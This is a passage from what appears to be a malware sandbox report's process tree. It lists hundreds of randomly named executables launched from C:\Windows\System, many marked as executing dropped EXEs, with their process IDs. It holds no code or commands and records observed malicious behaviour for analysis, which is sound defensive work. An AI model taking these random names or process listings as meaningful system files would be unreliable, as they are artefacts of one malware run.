  - Executes dropped EXE
  PID:3516
- C:\Windows\System\uTWpuNJ.exe
  C:\Windows\System\uTWpuNJ.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\RDpqbdC.exe
  C:\Windows\System\RDpqbdC.exe
  2⤵
  - Executes dropped EXE
  PID:1956
- C:\Windows\System\qMgKWtQ.exe
  C:\Windows\System\qMgKWtQ.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\Adjlmgv.exe
  C:\Windows\System\Adjlmgv.exe
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Windows\System\xkiEtFb.exe
  C:\Windows\System\xkiEtFb.exe
  2⤵
  - Executes dropped EXE
  PID:3968
- C:\Windows\System\eYyMNik.exe
  C:\Windows\System\eYyMNik.exe
  2⤵
  - Executes dropped EXE
  PID:4176
- C:\Windows\System\RdthhJV.exe
  C:\Windows\System\RdthhJV.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\ayopybu.exe
  C:\Windows\System\ayopybu.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\xFCUYQW.exe
  C:\Windows\System\xFCUYQW.exe
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Windows\System\YvyMiIj.exe
  C:\Windows\System\YvyMiIj.exe
  2⤵
  - Executes dropped EXE
  PID:1552
- C:\Windows\System\AiFnROt.exe
  C:\Windows\System\AiFnROt.exe
  2⤵
  - Executes dropped EXE
  PID:4788
- C:\Windows\System\xYsIDwH.exe
  C:\Windows\System\xYsIDwH.exe
  2⤵
  - Executes dropped EXE
  PID:1784
- C:\Windows\System\jDRRXUj.exe
  C:\Windows\System\jDRRXUj.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\cBJnlHD.exe
  C:\Windows\System\cBJnlHD.exe
  2⤵
  - Executes dropped EXE
  PID:3424
- C:\Windows\System\MiAvGWn.exe
  C:\Windows\System\MiAvGWn.exe
  2⤵
  - Executes dropped EXE
  PID:3364
- C:\Windows\System\bIFiVVW.exe
  C:\Windows\System\bIFiVVW.exe
  2⤵
  - Executes dropped EXE
  PID:3764
- C:\Windows\System\lPNgUXn.exe
  C:\Windows\System\lPNgUXn.exe
  2⤵
  - Executes dropped EXE
  PID:224
- C:\Windows\System\sZqAndT.exe
  C:\Windows\System\sZqAndT.exe
  2⤵
  - Executes dropped EXE
  PID:4652
- C:\Windows\System\VVAgcGT.exe
  C:\Windows\System\VVAgcGT.exe
  2⤵
  - Executes dropped EXE
  PID:1084
- C:\Windows\System\IPAfxsi.exe
  C:\Windows\System\IPAfxsi.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Windows\System\WABUwJI.exe
  C:\Windows\System\WABUwJI.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\QBetbYY.exe
  C:\Windows\System\QBetbYY.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\spZzLVw.exe
  C:\Windows\System\spZzLVw.exe
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Windows\System\RtScgYg.exe
  C:\Windows\System\RtScgYg.exe
  2⤵
  - Executes dropped EXE
  PID:556
- C:\Windows\System\DmAasYA.exe
  C:\Windows\System\DmAasYA.exe
  2⤵
  - Executes dropped EXE
  PID:736
- C:\Windows\System\qVnxXem.exe
  C:\Windows\System\qVnxXem.exe
  2⤵
  - Executes dropped EXE
  PID:4572
- C:\Windows\System\mAxXqSK.exe
  C:\Windows\System\mAxXqSK.exe
  2⤵
  - Executes dropped EXE
  PID:1072
- C:\Windows\System\gpVxVVo.exe
  C:\Windows\System\gpVxVVo.exe
  2⤵
  - Executes dropped EXE
  PID:1700
- C:\Windows\System\fMvtMvN.exe
  C:\Windows\System\fMvtMvN.exe
  2⤵
  - Executes dropped EXE
  PID:4136
- C:\Windows\System\gHnMsrR.exe
  C:\Windows\System\gHnMsrR.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\UHSPErm.exe
  C:\Windows\System\UHSPErm.exe
  2⤵
  - Executes dropped EXE
  PID:392
- C:\Windows\System\okxxGUD.exe
  C:\Windows\System\okxxGUD.exe
  2⤵
  - Executes dropped EXE
  PID:664
- C:\Windows\System\KDmjJdL.exe
  C:\Windows\System\KDmjJdL.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\grLSnPV.exe
  C:\Windows\System\grLSnPV.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\eIuKiVI.exe
  C:\Windows\System\eIuKiVI.exe
  2⤵
  - Executes dropped EXE
  PID:3108
- C:\Windows\System\dIVrHWE.exe
  C:\Windows\System\dIVrHWE.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\STAUSbm.exe
  C:\Windows\System\STAUSbm.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\JzGVzff.exe
  C:\Windows\System\JzGVzff.exe
  2⤵
  - Executes dropped EXE
  PID:4568
- C:\Windows\System\OpkuEAz.exe
  C:\Windows\System\OpkuEAz.exe
  2⤵
  - Executes dropped EXE
  PID:4272
- C:\Windows\System\FENcPNB.exe
  C:\Windows\System\FENcPNB.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\JEzUMRn.exe
  C:\Windows\System\JEzUMRn.exe
  2⤵
  - Executes dropped EXE
  PID:1592
- C:\Windows\System\jgZyoPb.exe
  C:\Windows\System\jgZyoPb.exe
  2⤵
  - Executes dropped EXE
  PID:2184
- C:\Windows\System\ZOvlakW.exe
  C:\Windows\System\ZOvlakW.exe
  2⤵
  - Executes dropped EXE
  PID:2028
- C:\Windows\System\lDkYEMg.exe
  C:\Windows\System\lDkYEMg.exe
  2⤵
  - Executes dropped EXE
  PID:3864
- C:\Windows\System\XkWDBrt.exe
  C:\Windows\System\XkWDBrt.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\bzaURGP.exe
  C:\Windows\System\bzaURGP.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\hwVEwYP.exe
  C:\Windows\System\hwVEwYP.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\txbLfOf.exe
  C:\Windows\System\txbLfOf.exe
  2⤵
  - Executes dropped EXE
  PID:4600
- C:\Windows\System\YjCYfoa.exe
  C:\Windows\System\YjCYfoa.exe
  2⤵
  - Executes dropped EXE
  PID:1440
- C:\Windows\System\qFTJSww.exe
  C:\Windows\System\qFTJSww.exe
  2⤵
  - Executes dropped EXE
  PID:3320
- C:\Windows\System\TTOkiMh.exe
  C:\Windows\System\TTOkiMh.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\rfHXJPP.exe
  C:\Windows\System\rfHXJPP.exe
  2⤵
  - Executes dropped EXE
  PID:756
- C:\Windows\System\quVWeOp.exe
  C:\Windows\System\quVWeOp.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\svCLboU.exe
  C:\Windows\System\svCLboU.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\mQiQRVP.exe
  C:\Windows\System\mQiQRVP.exe
  2⤵
  - Executes dropped EXE
  PID:440
- C:\Windows\System\iqkWTeo.exe
  C:\Windows\System\iqkWTeo.exe
  2⤵
  - Executes dropped EXE
  PID:4352
- C:\Windows\System\IzksWAD.exe
  C:\Windows\System\IzksWAD.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\EwFDCYk.exe
  C:\Windows\System\EwFDCYk.exe
  2⤵
  - Executes dropped EXE
  PID:5016
- C:\Windows\System\mdmQHua.exe
  C:\Windows\System\mdmQHua.exe
  2⤵
  - Executes dropped EXE
  PID:4760
- C:\Windows\System\qTVhpMI.exe
  C:\Windows\System\qTVhpMI.exe
  2⤵
  - Executes dropped EXE
  PID:3936
- C:\Windows\System\wpWnGTt.exe
  C:\Windows\System\wpWnGTt.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\uBVCMme.exe
  C:\Windows\System\uBVCMme.exe
  2⤵
  PID:2260
- C:\Windows\System\NhLbcNV.exe
  C:\Windows\System\NhLbcNV.exe
  2⤵
  PID:640
- C:\Windows\System\dwnJcRG.exe
  C:\Windows\System\dwnJcRG.exe
  2⤵
  PID:3308
- C:\Windows\System\edULsgi.exe
  C:\Windows\System\edULsgi.exe
  2⤵
  PID:1604
- C:\Windows\System\NAYMbbB.exe
  C:\Windows\System\NAYMbbB.exe
  2⤵
  PID:1036
- C:\Windows\System\bixoInu.exe
  C:\Windows\System\bixoInu.exe
  2⤵
  PID:3656
- C:\Windows\System\YQUYKCQ.exe
  C:\Windows\System\YQUYKCQ.exe
  2⤵
  PID:4520
- C:\Windows\System\ITzhbWB.exe
  C:\Windows\System\ITzhbWB.exe
  2⤵
  PID:1588
- C:\Windows\System\LBBdiTu.exe
  C:\Windows\System\LBBdiTu.exe
  2⤵
  PID:2956
- C:\Windows\System\aEnjSAV.exe
  C:\Windows\System\aEnjSAV.exe
  2⤵
  PID:828
- C:\Windows\System\CAsgUSJ.exe
  C:\Windows\System\CAsgUSJ.exe
  2⤵
  PID:5124
- C:\Windows\System\ZzExnzq.exe
  C:\Windows\System\ZzExnzq.exe
  2⤵
  PID:5140
- C:\Windows\System\dnbLUVs.exe
  C:\Windows\System\dnbLUVs.exe
  2⤵
  PID:5156
- C:\Windows\System\wKCGrNT.exe
  C:\Windows\System\wKCGrNT.exe
  2⤵
  PID:5180
- C:\Windows\System\LHcfClq.exe
  C:\Windows\System\LHcfClq.exe
  2⤵
  PID:5232
- C:\Windows\System\KVbFyDh.exe
  C:\Windows\System\KVbFyDh.exe
  2⤵
  PID:5268
- C:\Windows\System\JmNxFqd.exe
  C:\Windows\System\JmNxFqd.exe
  2⤵
  PID:5308
- C:\Windows\System\DWHMSIm.exe
  C:\Windows\System\DWHMSIm.exe
  2⤵
  PID:5324
- C:\Windows\System\UrboQef.exe
  C:\Windows\System\UrboQef.exe
  2⤵
  PID:5384
- C:\Windows\System\FOzPYNi.exe
  C:\Windows\System\FOzPYNi.exe
  2⤵
  PID:5428
- C:\Windows\System\QtIJlOb.exe
  C:\Windows\System\QtIJlOb.exe
  2⤵
  PID:5456
- C:\Windows\System\guvNZTl.exe
  C:\Windows\System\guvNZTl.exe
  2⤵
  PID:5492
- C:\Windows\System\LeIKVyM.exe
  C:\Windows\System\LeIKVyM.exe
  2⤵
  PID:5516
- C:\Windows\System\FbhHpGI.exe
  C:\Windows\System\FbhHpGI.exe
  2⤵
  PID:5532
- C:\Windows\System\HGUGSCT.exe
  C:\Windows\System\HGUGSCT.exe
  2⤵
  PID:5568
- C:\Windows\System\eNZiTCw.exe
  C:\Windows\System\eNZiTCw.exe
  2⤵
  PID:5584
- C:\Windows\System\izLHYxG.exe
  C:\Windows\System\izLHYxG.exe
  2⤵
  PID:5620
- C:\Windows\System\WAlbcUm.exe
  C:\Windows\System\WAlbcUm.exe
  2⤵
  PID:5648
- C:\Windows\System\bloIMIp.exe
  C:\Windows\System\bloIMIp.exe
  2⤵
  PID:5692
- C:\Windows\System\uokKJvp.exe
  C:\Windows\System\uokKJvp.exe
  2⤵
  PID:5732
- C:\Windows\System\Afynszv.exe
  C:\Windows\System\Afynszv.exe
  2⤵
  PID:5748
- C:\Windows\System\cVQbFVJ.exe
  C:\Windows\System\cVQbFVJ.exe
  2⤵
  PID:5780
- C:\Windows\System\dynSanq.exe
  C:\Windows\System\dynSanq.exe
  2⤵
  PID:5812
- C:\Windows\System\NqrpRPK.exe
  C:\Windows\System\NqrpRPK.exe
  2⤵
  PID:5852
- C:\Windows\System\JDMGPSj.exe
  C:\Windows\System\JDMGPSj.exe
  2⤵
  PID:5880
- C:\Windows\System\nRzEFSn.exe
  C:\Windows\System\nRzEFSn.exe
  2⤵
  PID:5908
- C:\Windows\System\trenoOx.exe
  C:\Windows\System\trenoOx.exe
  2⤵
  PID:5936
- C:\Windows\System\ETBDJEE.exe
  C:\Windows\System\ETBDJEE.exe
  2⤵
  PID:5964
- C:\Windows\System\AtuXyLG.exe
  C:\Windows\System\AtuXyLG.exe
  2⤵
  PID:6000
- C:\Windows\System\LxzVgOL.exe
  C:\Windows\System\LxzVgOL.exe
  2⤵
  PID:6028
- C:\Windows\System\NqlndkJ.exe
  C:\Windows\System\NqlndkJ.exe
  2⤵
  PID:6052
- C:\Windows\System\SoDPupl.exe
  C:\Windows\System\SoDPupl.exe
  2⤵
  PID:6080
- C:\Windows\System\ypRttFh.exe
  C:\Windows\System\ypRttFh.exe
  2⤵
  PID:6112
- C:\Windows\System\UIRfsMs.exe
  C:\Windows\System\UIRfsMs.exe
  2⤵
  PID:5136
- C:\Windows\System\qxcmxnu.exe
  C:\Windows\System\qxcmxnu.exe
  2⤵
  PID:5172
- C:\Windows\System\NVXmwXo.exe
  C:\Windows\System\NVXmwXo.exe
  2⤵
  PID:5256
- C:\Windows\System\EfeCFsd.exe
  C:\Windows\System\EfeCFsd.exe
  2⤵
  PID:5300
- C:\Windows\System\VlchiPt.exe
  C:\Windows\System\VlchiPt.exe
  2⤵
  PID:2612
- C:\Windows\System\yxUlvGY.exe
  C:\Windows\System\yxUlvGY.exe
  2⤵
  PID:5476
- C:\Windows\System\yeKZHAK.exe
  C:\Windows\System\yeKZHAK.exe
  2⤵
  PID:1472
- C:\Windows\System\oaZBJuH.exe
  C:\Windows\System\oaZBJuH.exe
  2⤵
  PID:5684
- C:\Windows\System\crKNtDE.exe
  C:\Windows\System\crKNtDE.exe
  2⤵
  PID:5772
- C:\Windows\System\SgFolaK.exe
  C:\Windows\System\SgFolaK.exe
  2⤵
  PID:5840
- C:\Windows\System\LWGsxbm.exe
  C:\Windows\System\LWGsxbm.exe
  2⤵
  PID:5928
- C:\Windows\System\YBrjGFa.exe
  C:\Windows\System\YBrjGFa.exe
  2⤵
  PID:2696
- C:\Windows\System\bzlaGuR.exe
  C:\Windows\System\bzlaGuR.exe
  2⤵
  PID:6044
- C:\Windows\System\mrfBWys.exe
  C:\Windows\System\mrfBWys.exe
  2⤵
  PID:6072
- C:\Windows\System\EEGFazt.exe
  C:\Windows\System\EEGFazt.exe
  2⤵
  PID:5132
- C:\Windows\System\vkqLQcM.exe
  C:\Windows\System\vkqLQcM.exe
  2⤵
  PID:5320
- C:\Windows\System\VYlOOIN.exe
  C:\Windows\System\VYlOOIN.exe
  2⤵
  PID:5720
- C:\Windows\System\XOhKBhy.exe
  C:\Windows\System\XOhKBhy.exe
  2⤵
  PID:6036
- C:\Windows\System\gsysOSh.exe
  C:\Windows\System\gsysOSh.exe
  2⤵
  PID:5440
- C:\Windows\System\rCcySkW.exe
  C:\Windows\System\rCcySkW.exe
  2⤵
  PID:6132
- C:\Windows\System\KWMUsKW.exe
  C:\Windows\System\KWMUsKW.exe
  2⤵
  PID:5664
- C:\Windows\System\dpaAIkN.exe
  C:\Windows\System\dpaAIkN.exe
  2⤵
  PID:6164
- C:\Windows\System\Mhjuzgt.exe
  C:\Windows\System\Mhjuzgt.exe
  2⤵
  PID:6204
- C:\Windows\System\tdlWQax.exe
  C:\Windows\System\tdlWQax.exe
  2⤵
  PID:6224
- C:\Windows\System\owuXSrg.exe
  C:\Windows\System\owuXSrg.exe
  2⤵
  PID:6268
- C:\Windows\System\CorwSfP.exe
  C:\Windows\System\CorwSfP.exe
  2⤵
  PID:6304
- C:\Windows\System\qGZAZpW.exe
  C:\Windows\System\qGZAZpW.exe
  2⤵
  PID:6332
- C:\Windows\System\vQkStau.exe
  C:\Windows\System\vQkStau.exe
  2⤵
  PID:6356
- C:\Windows\System\XHYBxwS.exe
  C:\Windows\System\XHYBxwS.exe
  2⤵
  PID:6380
- C:\Windows\System\JfzxMEl.exe
  C:\Windows\System\JfzxMEl.exe
  2⤵
  PID:6408
- C:\Windows\System\bbPugqA.exe
  C:\Windows\System\bbPugqA.exe
  2⤵
  PID:6440
- C:\Windows\System\XdNbDbi.exe
  C:\Windows\System\XdNbDbi.exe
  2⤵
  PID:6476
- C:\Windows\System\vmSVfzA.exe
  C:\Windows\System\vmSVfzA.exe
  2⤵
  PID:6520
- C:\Windows\System\GTBbLon.exe
  C:\Windows\System\GTBbLon.exe
  2⤵
  PID:6548
- C:\Windows\System\fnmQhEl.exe
  C:\Windows\System\fnmQhEl.exe
  2⤵
  PID:6568
- C:\Windows\System\gzXFdba.exe
  C:\Windows\System\gzXFdba.exe
  2⤵
  PID:6604
- C:\Windows\System\UeaRMPX.exe
  C:\Windows\System\UeaRMPX.exe
  2⤵
  PID:6632
- C:\Windows\System\hphBizB.exe
  C:\Windows\System\hphBizB.exe
  2⤵
  PID:6660
- C:\Windows\System\miuOQXx.exe
  C:\Windows\System\miuOQXx.exe
  2⤵
  PID:6688
- C:\Windows\System\JWzSVln.exe
  C:\Windows\System\JWzSVln.exe
  2⤵
  PID:6716
- C:\Windows\System\GzgwYSn.exe
  C:\Windows\System\GzgwYSn.exe
  2⤵
  PID:6744
- C:\Windows\System\QQvvwtj.exe
  C:\Windows\System\QQvvwtj.exe
  2⤵
  PID:6764
- C:\Windows\System\UFtIbZt.exe
  C:\Windows\System\UFtIbZt.exe
  2⤵
  PID:6792
- C:\Windows\System\QbjPKDc.exe
  C:\Windows\System\QbjPKDc.exe
  2⤵
  PID:6820
- C:\Windows\System\xKTbxNP.exe
  C:\Windows\System\xKTbxNP.exe
  2⤵
  PID:6856
- C:\Windows\System\spWpNoI.exe
  C:\Windows\System\spWpNoI.exe
  2⤵
  PID:6880
- C:\Windows\System\QcyttJP.exe
  C:\Windows\System\QcyttJP.exe
  2⤵
  PID:6916
- C:\Windows\System\kVdefvk.exe
  C:\Windows\System\kVdefvk.exe
  2⤵
  PID:6944
- C:\Windows\System\vcOvcRY.exe
  C:\Windows\System\vcOvcRY.exe
  2⤵
  PID:6972
- C:\Windows\System\oELImrb.exe
  C:\Windows\System\oELImrb.exe
  2⤵
  PID:6988
- C:\Windows\System\nqnjQjg.exe
  C:\Windows\System\nqnjQjg.exe
  2⤵
  PID:7032
- C:\Windows\System\ezfDfoU.exe
  C:\Windows\System\ezfDfoU.exe
  2⤵
  PID:7064
- C:\Windows\System\apaqcWo.exe
  C:\Windows\System\apaqcWo.exe
  2⤵
  PID:7108
- C:\Windows\System\JGGjhjs.exe
  C:\Windows\System\JGGjhjs.exe
  2⤵
  PID:7164
- C:\Windows\System\qXuULEe.exe
  C:\Windows\System\qXuULEe.exe
  2⤵
  PID:6188
- C:\Windows\System\HigQHxy.exe
  C:\Windows\System\HigQHxy.exe
  2⤵
  PID:6288
- C:\Windows\System\KVisefU.exe
  C:\Windows\System\KVisefU.exe
  2⤵
  PID:6372
- C:\Windows\System\ZbjZIip.exe
  C:\Windows\System\ZbjZIip.exe
  2⤵
  PID:6432
- C:\Windows\System\QsfjYUq.exe
  C:\Windows\System\QsfjYUq.exe
  2⤵
  PID:6464
- C:\Windows\System\VYySGHl.exe
  C:\Windows\System\VYySGHl.exe
  2⤵
  PID:6556
- C:\Windows\System\FuDGkvU.exe
  C:\Windows\System\FuDGkvU.exe
  2⤵
  PID:6616
- C:\Windows\System\PjbgfYt.exe
  C:\Windows\System\PjbgfYt.exe
  2⤵
  PID:6672
- C:\Windows\System\DOjoqTe.exe
  C:\Windows\System\DOjoqTe.exe
  2⤵
  PID:6736
- C:\Windows\System\qejuZnd.exe
  C:\Windows\System\qejuZnd.exe
  2⤵
  PID:6816
- C:\Windows\System\ZGHorPW.exe
  C:\Windows\System\ZGHorPW.exe
  2⤵
  PID:6908
- C:\Windows\System\JnNrYVN.exe
  C:\Windows\System\JnNrYVN.exe
  2⤵
  PID:6968
- C:\Windows\System\nZfdqSK.exe
  C:\Windows\System\nZfdqSK.exe
  2⤵
  PID:7052
- C:\Windows\System\CAaIuDQ.exe
  C:\Windows\System\CAaIuDQ.exe
  2⤵
  PID:7144
- C:\Windows\System\ULwURsQ.exe
  C:\Windows\System\ULwURsQ.exe
  2⤵
  PID:6216
- C:\Windows\System\HBRsFpq.exe
  C:\Windows\System\HBRsFpq.exe
  2⤵
  PID:6344
- C:\Windows\System\PHcjFic.exe
  C:\Windows\System\PHcjFic.exe
  2⤵
  PID:6488
- C:\Windows\System\oTvIhoP.exe
  C:\Windows\System\oTvIhoP.exe
  2⤵
  PID:6612
- C:\Windows\System\DMZCDmT.exe
  C:\Windows\System\DMZCDmT.exe
  2⤵
  PID:6760
- C:\Windows\System\OvFgaqL.exe
  C:\Windows\System\OvFgaqL.exe
  2⤵
  PID:6936
- C:\Windows\System\IiSrBjd.exe
  C:\Windows\System\IiSrBjd.exe
  2⤵
  PID:7104
- C:\Windows\System\MolaSOy.exe
  C:\Windows\System\MolaSOy.exe
  2⤵
  PID:6428
- C:\Windows\System\FUhaVDE.exe
  C:\Windows\System\FUhaVDE.exe
  2⤵
  PID:2736
- C:\Windows\System\yUgtFXh.exe
  C:\Windows\System\yUgtFXh.exe
  2⤵
  PID:7020
- C:\Windows\System\ajYidmp.exe
  C:\Windows\System\ajYidmp.exe
  2⤵
  PID:3792
- C:\Windows\System\ZihgYXH.exe
  C:\Windows\System\ZihgYXH.exe
  2⤵
  PID:6252
- C:\Windows\System\pzRfLpk.exe
  C:\Windows\System\pzRfLpk.exe
  2⤵
  PID:7180
- C:\Windows\System\uTuxbrc.exe
  C:\Windows\System\uTuxbrc.exe
  2⤵
  PID:7208
- C:\Windows\System\JlYjxiV.exe
  C:\Windows\System\JlYjxiV.exe
  2⤵
  PID:7236
- C:\Windows\System\uvyKzrd.exe
  C:\Windows\System\uvyKzrd.exe
  2⤵
  PID:7264
- C:\Windows\System\oCfpUvf.exe
  C:\Windows\System\oCfpUvf.exe
  2⤵
  PID:7292
- C:\Windows\System\tWnwApR.exe
  C:\Windows\System\tWnwApR.exe
  2⤵
  PID:7324
- C:\Windows\System\vpAdRkJ.exe
  C:\Windows\System\vpAdRkJ.exe
  2⤵
  PID:7356
- C:\Windows\System\EugwDIY.exe
  C:\Windows\System\EugwDIY.exe
  2⤵
  PID:7384
- C:\Windows\System\IdjLsqn.exe
  C:\Windows\System\IdjLsqn.exe
  2⤵
  PID:7412
- C:\Windows\System\PgIYygo.exe
  C:\Windows\System\PgIYygo.exe
  2⤵
  PID:7448
- C:\Windows\System\TMhMzWu.exe
  C:\Windows\System\TMhMzWu.exe
  2⤵
  PID:7476
- C:\Windows\System\rqXLIDG.exe
  C:\Windows\System\rqXLIDG.exe
  2⤵
  PID:7504
- C:\Windows\System\jWjvYcF.exe
  C:\Windows\System\jWjvYcF.exe
  2⤵
  PID:7524
- C:\Windows\System\euZzfwJ.exe
  C:\Windows\System\euZzfwJ.exe
  2⤵
  PID:7552
- C:\Windows\System\sBcuRda.exe
  C:\Windows\System\sBcuRda.exe
  2⤵
  PID:7584
- C:\Windows\System\fOfWwRI.exe
  C:\Windows\System\fOfWwRI.exe
  2⤵
  PID:7616
- C:\Windows\System\HjbAGia.exe
  C:\Windows\System\HjbAGia.exe
  2⤵
  PID:7648
- C:\Windows\System\DSgAFBC.exe
  C:\Windows\System\DSgAFBC.exe
  2⤵
  PID:7672
- C:\Windows\System\YeRdnPk.exe
  C:\Windows\System\YeRdnPk.exe
  2⤵
  PID:7708
- C:\Windows\System\jiFqcgk.exe
  C:\Windows\System\jiFqcgk.exe
  2⤵
  PID:7748
- C:\Windows\System\LfaTsKj.exe
  C:\Windows\System\LfaTsKj.exe
  2⤵
  PID:7788
- C:\Windows\System\XiTvSth.exe
  C:\Windows\System\XiTvSth.exe
  2⤵
  PID:7820
- C:\Windows\System\GyAEFbz.exe
  C:\Windows\System\GyAEFbz.exe
  2⤵
  PID:7860
- C:\Windows\System\LEluJBz.exe
  C:\Windows\System\LEluJBz.exe
  2⤵
  PID:7884
- C:\Windows\System\uploYKA.exe
  C:\Windows\System\uploYKA.exe
  2⤵
  PID:7908
- C:\Windows\System\IHvpuau.exe
  C:\Windows\System\IHvpuau.exe
  2⤵
  PID:7936
- C:\Windows\System\nCCqQhu.exe
  C:\Windows\System\nCCqQhu.exe
  2⤵
  PID:7976
- C:\Windows\System\mdZbGNF.exe
  C:\Windows\System\mdZbGNF.exe
  2⤵
  PID:8036
- C:\Windows\System\EFSrnpC.exe
  C:\Windows\System\EFSrnpC.exe
  2⤵
  PID:8068
- C:\Windows\System\gxSLUxJ.exe
  C:\Windows\System\gxSLUxJ.exe
  2⤵
  PID:8092
- C:\Windows\System\CUghSWJ.exe
  C:\Windows\System\CUghSWJ.exe
  2⤵
  PID:8128
- C:\Windows\System\uPBmQXp.exe
  C:\Windows\System\uPBmQXp.exe
  2⤵
  PID:8156
- C:\Windows\System\pNuddMM.exe
  C:\Windows\System\pNuddMM.exe
  2⤵
  PID:8184
- C:\Windows\System\pvKknsN.exe
  C:\Windows\System\pvKknsN.exe
  2⤵
  PID:7220
- C:\Windows\System\etxTAyd.exe
  C:\Windows\System\etxTAyd.exe
  2⤵
  PID:7276
- C:\Windows\System\CpDqutO.exe
  C:\Windows\System\CpDqutO.exe
  2⤵
  PID:7340
- C:\Windows\System\YhiBpXy.exe
  C:\Windows\System\YhiBpXy.exe
  2⤵
  PID:7420
- C:\Windows\System\uclazWO.exe
  C:\Windows\System\uclazWO.exe
  2⤵
  PID:7484
- C:\Windows\System\TVhkcTp.exe
  C:\Windows\System\TVhkcTp.exe
  2⤵
  PID:7548
- C:\Windows\System\IkKWdWU.exe
  C:\Windows\System\IkKWdWU.exe
  2⤵
  PID:7608
- C:\Windows\System\vvoDiAO.exe
  C:\Windows\System\vvoDiAO.exe
  2⤵
  PID:7100
- C:\Windows\System\avAwBYj.exe
  C:\Windows\System\avAwBYj.exe
  2⤵
  PID:7424
- C:\Windows\System\TOUasex.exe
  C:\Windows\System\TOUasex.exe
  2⤵
  PID:7668
- C:\Windows\System\UdBQFId.exe
  C:\Windows\System\UdBQFId.exe
  2⤵
  PID:7704
- C:\Windows\System\qSQsvmz.exe
  C:\Windows\System\qSQsvmz.exe
  2⤵
  PID:7800
- C:\Windows\System\LRAQWYW.exe
  C:\Windows\System\LRAQWYW.exe
  2⤵
  PID:7848
- C:\Windows\System\JIYKDDK.exe
  C:\Windows\System\JIYKDDK.exe
  2⤵
  PID:7812
- C:\Windows\System\bXOgYGP.exe
  C:\Windows\System\bXOgYGP.exe
  2⤵
  PID:7956
- C:\Windows\System\UmLYXeR.exe
  C:\Windows\System\UmLYXeR.exe
  2⤵
  PID:8012
- C:\Windows\System\IwHYRcc.exe
  C:\Windows\System\IwHYRcc.exe
  2⤵
  PID:8076
- C:\Windows\System\DuRXkYW.exe
  C:\Windows\System\DuRXkYW.exe
  2⤵
  PID:8144
- C:\Windows\System\qrmbXaY.exe
  C:\Windows\System\qrmbXaY.exe
  2⤵
  PID:7244
- C:\Windows\System\nkUwxgK.exe
  C:\Windows\System\nkUwxgK.exe
  2⤵
  PID:7376
- C:\Windows\System\iLJyMpW.exe
  C:\Windows\System\iLJyMpW.exe
  2⤵
  PID:7516
- C:\Windows\System\VJgWsdy.exe
  C:\Windows\System\VJgWsdy.exe
  2⤵
  PID:7136
- C:\Windows\System\jXrDgLy.exe
  C:\Windows\System\jXrDgLy.exe
  2⤵
  PID:7044
- C:\Windows\System\QjUhuIT.exe
  C:\Windows\System\QjUhuIT.exe
  2⤵
  PID:7856
- C:\Windows\System\iSihRnP.exe
  C:\Windows\System\iSihRnP.exe
  2⤵
  PID:4848
- C:\Windows\System\wbZsAtQ.exe
  C:\Windows\System\wbZsAtQ.exe
  2⤵
  PID:3508
- C:\Windows\System\KRDnWTI.exe
  C:\Windows\System\KRDnWTI.exe
  2⤵
  PID:4024
- C:\Windows\System\zlvHuGq.exe
  C:\Windows\System\zlvHuGq.exe
  2⤵
  PID:3076
- C:\Windows\System\ZPMEEUn.exe
  C:\Windows\System\ZPMEEUn.exe
  2⤵
  PID:7964
- C:\Windows\System\ICmgrgt.exe
  C:\Windows\System\ICmgrgt.exe
  2⤵
  PID:8172
- C:\Windows\System\enpWCAu.exe
  C:\Windows\System\enpWCAu.exe
  2⤵
  PID:7492
- C:\Windows\System\LLYfPch.exe
  C:\Windows\System\LLYfPch.exe
  2⤵
  PID:7048
- C:\Windows\System\FYUOCbJ.exe
  C:\Windows\System\FYUOCbJ.exe
  2⤵
  PID:3128
- C:\Windows\System\LvNYgJf.exe
  C:\Windows\System\LvNYgJf.exe
  2⤵
  PID:1948
- C:\Windows\System\Hlkckux.exe
  C:\Windows\System\Hlkckux.exe
  2⤵
  PID:8136
- C:\Windows\System\yWbXyCP.exe
  C:\Windows\System\yWbXyCP.exe
  2⤵
  PID:7816
- C:\Windows\System\kVDadyj.exe
  C:\Windows\System\kVDadyj.exe
  2⤵
  PID:1936
- C:\Windows\System\vAdJZBv.exe
  C:\Windows\System\vAdJZBv.exe
  2⤵
  PID:6460
- C:\Windows\System\zWIuInZ.exe
  C:\Windows\System\zWIuInZ.exe
  2⤵
  PID:8200
- C:\Windows\System\LwTwfdv.exe
  C:\Windows\System\LwTwfdv.exe
  2⤵
  PID:8228
- C:\Windows\System\MYWklfQ.exe
  C:\Windows\System\MYWklfQ.exe
  2⤵
  PID:8256
- C:\Windows\System\XuDKAWw.exe
  C:\Windows\System\XuDKAWw.exe
  2⤵
  PID:8284
- C:\Windows\System\RFSKACv.exe
  C:\Windows\System\RFSKACv.exe
  2⤵
  PID:8312
- C:\Windows\System\jUTVhyA.exe
  C:\Windows\System\jUTVhyA.exe
  2⤵
  PID:8340
- C:\Windows\System\pAxPVIW.exe
  C:\Windows\System\pAxPVIW.exe
  2⤵
  PID:8368
- C:\Windows\System\ljxOwuY.exe
